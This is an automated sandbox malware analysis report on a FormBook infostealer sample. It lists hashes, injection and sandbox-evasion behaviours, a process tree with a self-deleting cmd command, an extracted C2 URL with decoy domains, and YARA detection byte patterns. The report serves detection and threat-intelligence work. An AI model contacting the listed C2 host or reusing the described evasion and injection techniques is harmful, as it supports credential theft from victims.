Play interactive tour

Edit tour

Analysis Report SKlGhwkzTi

Overview

General Information

Sample Name:	SKlGhwkzTi (renamed file extension from none to exe)
Analysis ID:	432735
MD5:	8252e0bd8e579259cc18ceae0c5c6d64
SHA1:	242c3feb78e57de5c30b6f4f6b6d5d9b3332eb08
SHA256:	21b3aba425cfa96bd3c5db2b306591a3a2aa1c8ee6fbdeddfdf60b5e1c0df0ea
Tags:	exetrojan
Infos:
Most interesting Screenshot:

Detection

FormBook

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

System process connects to network (likely due to code injection or exploit)

Yara detected AntiVM3

Yara detected FormBook

C2 URLs / IPs found in malware configuration

Injects a PE file into a foreign processes

Maps a DLL or memory area into another process

Modifies the context of a thread in another process (thread injection)

Queues an APC in another process (thread injection)

Sample uses process hollowing technique

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect virtualization through RDTSC time measurements

Antivirus or Machine Learning detection for unpacked file

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables debug privileges

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains strange resources

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

SKlGhwkzTi.exe (PID: 6896 cmdline: 'C:\Users\user\Desktop\SKlGhwkzTi.exe' MD5: 8252E0BD8E579259CC18CEAE0C5C6D64)

SKlGhwkzTi.exe (PID: 4484 cmdline: C:\Users\user\Desktop\SKlGhwkzTi.exe MD5: 8252E0BD8E579259CC18CEAE0C5C6D64)

explorer.exe (PID: 3424 cmdline: MD5: AD5296B280E8F522A8A897C96BAB0E1D)

help.exe (PID: 6296 cmdline: C:\Windows\SysWOW64\help.exe MD5: 09A715036F14D3632AD03B52D1DA6BFF)

cmd.exe (PID: 7140 cmdline: /c del 'C:\Users\user\Desktop\SKlGhwkzTi.exe' MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 6932 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cleanup

Malware Configuration

Threatname: FormBook

{"C2 list": ["www.adultpeace.com/p2io/"], "decoy": ["essentiallyourscandles.com", "cleanxcare.com", "bigplatesmallwallet.com", "iotcloud.technology", "dmgt4m2g8y2uh.net", "malcorinmobiliaria.com", "thriveglucose.com", "fuhaitongxin.com", "magetu.info", "pyithuhluttaw.net", "myfavbutik.com", "xzklrhy.com", "anewdistraction.com", "mercuryaid.net", "thesoulrevitalist.com", "swayam-moj.com", "liminaltechnology.com", "lucytime.com", "alfenas.info", "carmelodesign.com", "newmopeds.com", "cyrilgraze.com", "ruhexuangou.com", "trendbold.com", "centergolosinas.com", "leonardocarrillo.com", "advancedaccessapplications.com", "aideliveryrobot.com", "defenestration.world", "zgcbw.net", "shopihy.com", "3cheer.com", "untylservice.com", "totally-seo.com", "cmannouncements.com", "tpcgzwlpyggm.mobi", "hfjxhs.com", "balloon-artists.com", "vectoroutlines.com", "boogerstv.com", "procircleacademy.com", "tricqr.com", "hazard-protection.com", "buylocalclub.info", "m678.xyz", "hiddenwholesale.com", "ololmychartlogin.com", "redudiban.com", "brunoecatarina.com", "69-1hn7uc.net", "zmzcrossrt.xyz", "dreamcashbuyers.com", "yunlimall.com", "jonathan-mandt.com", "painhut.com", "pandemisorgugirisi-tr.com", "sonderbach.net", "kce0728com.net", "austinpavingcompany.com", "biztekno.com", "rodriggi.com", "micheldrake.com", "foxwaybrasil.com", "a3i7ufz4pt3.net"]}

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
00000004.00000002.761631200.0000000000400000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000004.00000002.761631200.0000000000400000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8972:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x148ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x938a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa102:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19777:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a81a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000004.00000002.761631200.0000000000400000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166a9:$sqlite3step: 68 34 1C 7B E1 0x167bc:$sqlite3step: 68 34 1C 7B E1 0x166d8:$sqlite3text: 68 38 2A 90 C5 0x167fd:$sqlite3text: 68 38 2A 90 C5 0x166eb:$sqlite3blob: 68 53 D8 7F 8C 0x16813:$sqlite3blob: 68 53 D8 7F 8C
0000000D.00000002.918580029.0000000003510000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
0000000D.00000002.918580029.0000000003510000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8972:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x148ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x938a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa102:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19777:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a81a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0000000D.00000002.918580029.0000000003510000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166a9:$sqlite3step: 68 34 1C 7B E1 0x167bc:$sqlite3step: 68 34 1C 7B E1 0x166d8:$sqlite3text: 68 38 2A 90 C5 0x167fd:$sqlite3text: 68 38 2A 90 C5 0x166eb:$sqlite3blob: 68 53 D8 7F 8C 0x16813:$sqlite3blob: 68 53 D8 7F 8C
00000004.00000000.677567627.0000000000400000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000004.00000000.677567627.0000000000400000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8972:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x148ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x938a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa102:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19777:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a81a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000004.00000000.677567627.0000000000400000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166a9:$sqlite3step: 68 34 1C 7B E1 0x167bc:$sqlite3step: 68 34 1C 7B E1 0x166d8:$sqlite3text: 68 38 2A 90 C5 0x167fd:$sqlite3text: 68 38 2A 90 C5 0x166eb:$sqlite3blob: 68 53 D8 7F 8C 0x16813:$sqlite3blob: 68 53 D8 7F 8C
0000000D.00000002.918415309.00000000032E0000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
0000000D.00000002.918415309.00000000032E0000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8972:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x148ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x938a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa102:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19777:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a81a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0000000D.00000002.918415309.00000000032E0000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166a9:$sqlite3step: 68 34 1C 7B E1 0x167bc:$sqlite3step: 68 34 1C 7B E1 0x166d8:$sqlite3text: 68 38 2A 90 C5 0x167fd:$sqlite3text: 68 38 2A 90 C5 0x166eb:$sqlite3blob: 68 53 D8 7F 8C 0x16813:$sqlite3blob: 68 53 D8 7F 8C
00000000.00000002.679347370.0000000002E23000.00000004.00000001.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000004.00000002.763395770.0000000001530000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000004.00000002.763395770.0000000001530000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8972:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x148ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x938a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa102:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19777:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a81a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000004.00000002.763395770.0000000001530000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166a9:$sqlite3step: 68 34 1C 7B E1 0x167bc:$sqlite3step: 68 34 1C 7B E1 0x166d8:$sqlite3text: 68 38 2A 90 C5 0x167fd:$sqlite3text: 68 38 2A 90 C5 0x166eb:$sqlite3blob: 68 53 D8 7F 8C 0x16813:$sqlite3blob: 68 53 D8 7F 8C
0000000D.00000002.918604632.0000000003540000.00000004.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
0000000D.00000002.918604632.0000000003540000.00000004.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8972:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x148ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x938a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa102:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19777:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a81a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0000000D.00000002.918604632.0000000003540000.00000004.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166a9:$sqlite3step: 68 34 1C 7B E1 0x167bc:$sqlite3step: 68 34 1C 7B E1 0x166d8:$sqlite3text: 68 38 2A 90 C5 0x167fd:$sqlite3text: 68 38 2A 90 C5 0x166eb:$sqlite3blob: 68 53 D8 7F 8C 0x16813:$sqlite3blob: 68 53 D8 7F 8C
00000000.00000002.679714687.0000000003DE9000.00000004.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000000.00000002.679714687.0000000003DE9000.00000004.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x94630:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x949ba:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0xbb850:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0xbbbda:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0xa06cd:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0xc78ed:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0xa01b9:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0xc73d9:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0xa07cf:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0xc79ef:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0xa0947:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xc7b67:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x953d2:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0xbc5f2:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x9f434:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xc6654:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9614a:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0xbd36a:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0xa57bf:$sequence_8: 3C 54 74 04 3C 74 75 F4 0xcc9df:$sequence_8: 3C 54 74 04 3C 74 75 F4 0xa6862:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000000.00000002.679714687.0000000003DE9000.00000004.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0xa26f1:$sqlite3step: 68 34 1C 7B E1 0xa2804:$sqlite3step: 68 34 1C 7B E1 0xc9911:$sqlite3step: 68 34 1C 7B E1 0xc9a24:$sqlite3step: 68 34 1C 7B E1 0xa2720:$sqlite3text: 68 38 2A 90 C5 0xa2845:$sqlite3text: 68 38 2A 90 C5 0xc9940:$sqlite3text: 68 38 2A 90 C5 0xc9a65:$sqlite3text: 68 38 2A 90 C5 0xa2733:$sqlite3blob: 68 53 D8 7F 8C 0xa285b:$sqlite3blob: 68 53 D8 7F 8C 0xc9953:$sqlite3blob: 68 53 D8 7F 8C 0xc9a7b:$sqlite3blob: 68 53 D8 7F 8C
00000004.00000002.763453752.0000000001560000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000004.00000002.763453752.0000000001560000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8972:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x148ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x938a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa102:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19777:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a81a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000004.00000002.763453752.0000000001560000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166a9:$sqlite3step: 68 34 1C 7B E1 0x167bc:$sqlite3step: 68 34 1C 7B E1 0x166d8:$sqlite3text: 68 38 2A 90 C5 0x167fd:$sqlite3text: 68 38 2A 90 C5 0x166eb:$sqlite3blob: 68 53 D8 7F 8C 0x16813:$sqlite3blob: 68 53 D8 7F 8C
Process Memory Space: SKlGhwkzTi.exe PID: 6896	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 21 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
4.2.SKlGhwkzTi.exe.400000.0.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
4.2.SKlGhwkzTi.exe.400000.0.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x77e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x7b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x13885:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x13371:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x13987:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x13aff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x858a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x125ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9302:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x18977:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x19a1a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
4.2.SKlGhwkzTi.exe.400000.0.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x158a9:$sqlite3step: 68 34 1C 7B E1 0x159bc:$sqlite3step: 68 34 1C 7B E1 0x158d8:$sqlite3text: 68 38 2A 90 C5 0x159fd:$sqlite3text: 68 38 2A 90 C5 0x158eb:$sqlite3blob: 68 53 D8 7F 8C 0x15a13:$sqlite3blob: 68 53 D8 7F 8C
4.2.SKlGhwkzTi.exe.400000.0.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
4.2.SKlGhwkzTi.exe.400000.0.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8972:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x148ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x938a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa102:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19777:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a81a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
4.2.SKlGhwkzTi.exe.400000.0.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166a9:$sqlite3step: 68 34 1C 7B E1 0x167bc:$sqlite3step: 68 34 1C 7B E1 0x166d8:$sqlite3text: 68 38 2A 90 C5 0x167fd:$sqlite3text: 68 38 2A 90 C5 0x166eb:$sqlite3blob: 68 53 D8 7F 8C 0x16813:$sqlite3blob: 68 53 D8 7F 8C
4.0.SKlGhwkzTi.exe.400000.1.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
4.0.SKlGhwkzTi.exe.400000.1.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x77e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x7b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x13885:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x13371:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x13987:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x13aff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x858a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x125ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9302:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x18977:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x19a1a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
4.0.SKlGhwkzTi.exe.400000.1.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x158a9:$sqlite3step: 68 34 1C 7B E1 0x159bc:$sqlite3step: 68 34 1C 7B E1 0x158d8:$sqlite3text: 68 38 2A 90 C5 0x159fd:$sqlite3text: 68 38 2A 90 C5 0x158eb:$sqlite3blob: 68 53 D8 7F 8C 0x15a13:$sqlite3blob: 68 53 D8 7F 8C
4.0.SKlGhwkzTi.exe.400000.1.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
4.0.SKlGhwkzTi.exe.400000.1.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8972:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x148ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x938a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa102:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19777:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a81a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
4.0.SKlGhwkzTi.exe.400000.1.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166a9:$sqlite3step: 68 34 1C 7B E1 0x167bc:$sqlite3step: 68 34 1C 7B E1 0x166d8:$sqlite3text: 68 38 2A 90 C5 0x167fd:$sqlite3text: 68 38 2A 90 C5 0x166eb:$sqlite3blob: 68 53 D8 7F 8C 0x16813:$sqlite3blob: 68 53 D8 7F 8C
0.2.SKlGhwkzTi.exe.3de9930.1.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
0.2.SKlGhwkzTi.exe.3de9930.1.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x93d00:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9408a:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0xbaf20:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0xbb2aa:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9fd9d:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0xc6fbd:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x9f889:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0xc6aa9:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x9fe9f:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0xc70bf:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0xa0017:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xc7237:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x94aa2:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0xbbcc2:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x9eb04:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xc5d24:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9581a:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0xbca3a:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0xa4e8f:$sequence_8: 3C 54 74 04 3C 74 75 F4 0xcc0af:$sequence_8: 3C 54 74 04 3C 74 75 F4 0xa5f32:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0.2.SKlGhwkzTi.exe.3de9930.1.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0xa1dc1:$sqlite3step: 68 34 1C 7B E1 0xa1ed4:$sqlite3step: 68 34 1C 7B E1 0xc8fe1:$sqlite3step: 68 34 1C 7B E1 0xc90f4:$sqlite3step: 68 34 1C 7B E1 0xa1df0:$sqlite3text: 68 38 2A 90 C5 0xa1f15:$sqlite3text: 68 38 2A 90 C5 0xc9010:$sqlite3text: 68 38 2A 90 C5 0xc9135:$sqlite3text: 68 38 2A 90 C5 0xa1e03:$sqlite3blob: 68 53 D8 7F 8C 0xa1f2b:$sqlite3blob: 68 53 D8 7F 8C 0xc9023:$sqlite3blob: 68 53 D8 7F 8C 0xc914b:$sqlite3blob: 68 53 D8 7F 8C
Click to see the 10 entries

Sigma Overview

No Sigma rule has matched

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 00000004.00000002.761631200.0000000000400000.00000040.00000001.sdmp

Malware Configuration Extractor: FormBook {"C2 list": ["www.adultpeace.com/p2io/"], "decoy": ["essentiallyourscandles.com", "cleanxcare.com", "bigplatesmallwallet.com", "iotcloud.technology", "dmgt4m2g8y2uh.net", "malcorinmobiliaria.com", "thriveglucose.com", "fuhaitongxin.com", "magetu.info", "pyithuhluttaw.net", "myfavbutik.com", "xzklrhy.com", "anewdistraction.com", "mercuryaid.net", "thesoulrevitalist.com", "swayam-moj.com", "liminaltechnology.com", "lucytime.com", "alfenas.info", "carmelodesign.com", "newmopeds.com", "cyrilgraze.com", "ruhexuangou.com", "trendbold.com", "centergolosinas.com", "leonardocarrillo.com", "advancedaccessapplications.com", "aideliveryrobot.com", "defenestration.world", "zgcbw.net", "shopihy.com", "3cheer.com", "untylservice.com", "totally-seo.com", "cmannouncements.com", "tpcgzwlpyggm.mobi", "hfjxhs.com", "balloon-artists.com", "vectoroutlines.com", "boogerstv.com", "procircleacademy.com", "tricqr.com", "hazard-protection.com", "buylocalclub.info", "m678.xyz", "hiddenwholesale.com", "ololmychartlogin.com", "redudiban.com", "brunoecatarina.com", "69-1hn7uc.net", "zmzcrossrt.xyz", "dreamcashbuyers.com", "yunlimall.com", "jonathan-mandt.com", "painhut.com", "pandemisorgugirisi-tr.com", "sonderbach.net", "kce0728com.net", "austinpavingcompany.com", "biztekno.com", "rodriggi.com", "micheldrake.com", "foxwaybrasil.com", "a3i7ufz4pt3.net"]}

Multi AV Scanner detection for domain / URL

Show sources

Source: adultpeace.com

Virustotal: Detection: 6%

Perma Link

Multi AV Scanner detection for submitted file

Show sources

Source: SKlGhwkzTi.exe	Virustotal: Detection: 31%			Perma Link
Source: SKlGhwkzTi.exe	ReversingLabs: Detection: 41%

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000004.00000002.761631200.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.918580029.0000000003510000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.677567627.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.918415309.00000000032E0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.763395770.0000000001530000.00000040.00000001.sdmp, type: MEMORY
